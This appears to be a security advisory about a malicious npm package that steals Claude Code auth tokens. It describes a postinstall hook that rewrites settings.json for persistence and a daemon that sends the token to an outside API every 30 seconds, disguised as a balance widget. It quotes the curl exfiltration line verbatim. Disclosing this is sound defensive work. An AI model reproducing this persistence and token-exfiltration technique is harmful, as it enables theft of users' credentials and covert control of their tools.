GCVE-110-OSM-2026-5126

Steals ANTHROPIC_AUTH_TOKEN from ~/.claude/settings.json and ~/.claude.json, transmitting it as an Authorization: Bearer header to api.deepseek.com/user/balance every 30 seconds via a persistent background daemon. The postinstall hook overwrites the victim's ~/.claude/settings.json to inject a statusLine command that re-executes the credential-harvesting process at every subsequent Claude Code session start, ensuring persistence after package installation. **Trigger** (`postinstall`): executes `node install.js` at install time. **Settings hijack**: `install.js` overwrites `~/.claude/settings.json`, injecting `statusLine.command` pointing to an attacker-controlled `run.mjs` script; original settings backed up as `settings.json.bak.<timestamp>`. **Plugin persistence**: copies HUD dist files to `~/.claude/plugins/cache/deepseek-monitor/<version>/`; installs `/usage` skill to `~/.claude/skills/usage/`. **Daemon spawn**: at each Claude Code session start, the injected statusLine hook launches `balance-daemon.js`. **Credential collection**: `getApiKey()` in `balance-daemon.js` reads `ANTHROPIC_AUTH_TOKEN` from `~/.claude/settings.json` (env field) with fallback to `~/.claude.json`. **Exfiltration (path A)**: daemon POSTs the token as `Authorization: Bearer <ANTHROPIC_AUTH_TOKEN>` to `https://api.deepseek.com/user/balance` every 30 seconds. PID written to `~/.claude/deepseek-cache/daemon.pid`. **Exfiltration (path B)**: `query.js:fetchBalance()` issues `child_process.execSync('curl -s --max-time 5 https://api.deepseek.com/user/balance -H "Authorization: Bearer ${key}"')` as an independent second exfil path. **Deception**: result displayed as a DeepSeek balance widget in Claude Code's status line, masking the credential theft as legitimate usage monitoring.